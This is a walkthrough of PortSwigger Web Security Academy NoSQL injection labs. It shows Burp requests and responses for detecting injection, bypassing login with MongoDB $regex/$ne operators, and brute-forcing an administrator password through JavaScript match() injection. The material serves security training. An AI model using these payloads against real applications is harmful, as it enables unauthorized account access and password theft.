Walk-through of the NoSQL Injection vulnerabilities lab on PortSwigger Web Security Academy.
- Apprentice – Detecting NoSQL injection
- Apprentice – Exploiting NoSQL operator injection to bypass authentication
- Practitioner – Exploiting NoSQL injection to extract data
- Practitioner – Exploiting NoSQL operator injection to extract unknown fields
Apprentice – Detecting NoSQL injection
The product category filter for this lab is powered by a MongoDB NoSQL database.
It is vulnerable to NoSQL injection. To solve the lab, perform a NoSQL injection attack that causes the application to display unreleased products.
From the Home page, click on a product category to filter products. Send the request to the Repeater module in Burp.
GET /filter?category=Gifts HTTP/2
Host: <LAB ID>.web-security-academy.net
Fuzz with the category parameter. A quote generates an error.
GET /filter?category=Gifts' HTTP/2
Host: <LAB ID>.web-security-academy.net
<p class=is-warning>Command failed with error 139 (JSInterpreterFailure): 'SyntaxError: unterminated string literal :
functionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25
' on server 127.0.0.1:27017. The full response is {"ok": 0.0, "errmsg": "SyntaxError: unterminated string literal :\nfunctionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25\n", "code": 139, "codeName": "JSInterpreterFailure"}</p>
SyntaxError: unterminated string literal :\nfunctionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25\n
According to the error message, the database used is MongoDB and it is a JavaScript interpreter. Use a JavaScript condition that is always true:
GET /filter?category=Gifts'||1||' HTTP/2
Host: <LAB ID>.web-security-academy.net
The lab should be solved (may need to refresh the page).
Apprentice – Exploiting NoSQL operator injection to bypass authentication
The login functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection using MongoDB operators. To solve the lab, log into the application as the administrator user. You can log in to your own account using the following credentials: wiener:peter.
- Click on My account.
- Log in with credentials wiener:peter
Send the request to the Repeater module.
POST /login HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json
[...]
{"username":"wiener","password":"peter"}
HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=nodK2lWDTscrHq3vUw1SUGWNatK309CT; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Look at MongoDB Query and Projection Operators. The $regex operator can be used since we do not know the exact username.
POST /login HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/json
[...]
{"username":{"$regex":"admin.*"},"password":{"$ne": null}}
HTTP/2 302 Found
Location: /my-account?id=admindjyfzu1z
Set-Cookie: session=Nx4IbgtlJG8ozmlp7zRzxtiJwe55ggDb; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
In the web browser, set the session cookie to “Nx4IbgtlJG8ozmlp7zRzxtiJwe55ggDb” and refresh the page to be logged in as the administrator and solve the lab.
Practitioner – Exploiting NoSQL injection to extract data
The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection.
To solve the lab, extract the password for the administrator user, then log in to their account.
You can log in to your own account using the following credentials: wiener:peter.
- Click on My account.
- Log in with credentials wiener:peter
Inspect the requests in Burp Suite. There is one lookup request with the user name as parameter.
GET /user/lookup?user=wiener HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 80
{
"username": "wiener",
"email": "wiener@normal-user.net",
"role": "user"
}
Send the request to the Repeater module. Try a NoSQL injection to complete the request without errors.
GET /user/lookup?user=<@urlencode>wiener' && this.password == 'peter' && 'a' == 'a</@urlencode> HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 80
{
"username": "wiener",
"email": "hello@normal-user.net",
"role": "user"
}
Send the request to the Intruder module.
- Change the user from wiener to administrator.
- Use JavaScript’s “match” function.
- Use the case insensitive (/i) option to speed up the process.
- Use the Brute forcer payload (or Simple list for Burp Community) with characters (min and max length = 1): abcdefghijklmnopqrstuvwxyz0123456789
- Use the Grep – Match setting on word “username” to flag characters that were found.
GET /user/lookup?user=<@urlencode>administrator' && this.password.match(/^.*§char§.*/i) && 'a' == 'a</@urlencode> HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Start the attack. We find characters “fhkpyz”. Modify the Intruder request. Add each character found.
GET /user/lookup?user=<@urlencode>administrator' && this.password.match(/^hfk§char§.*/i) && 'a' == 'a</@urlencode> HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
We find password “hfkfzyzp”. The bruteforce was case insensitive, so more processing would be needed to find the real password. But for this lab, the password is lowercase. Validate it in the Repeater module (remove the case insensitive option /i).
GET /user/lookup?user=<@urlencode>administrator' && this.password.match(/^hfkfzyzp$/) && 'a' == 'a</@urlencode> HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 96
{
"username": "administrator",
"email": "admin@normal-user.net",
"role": "administrator"
}
Log in with user administrator and the password found to solve the lab.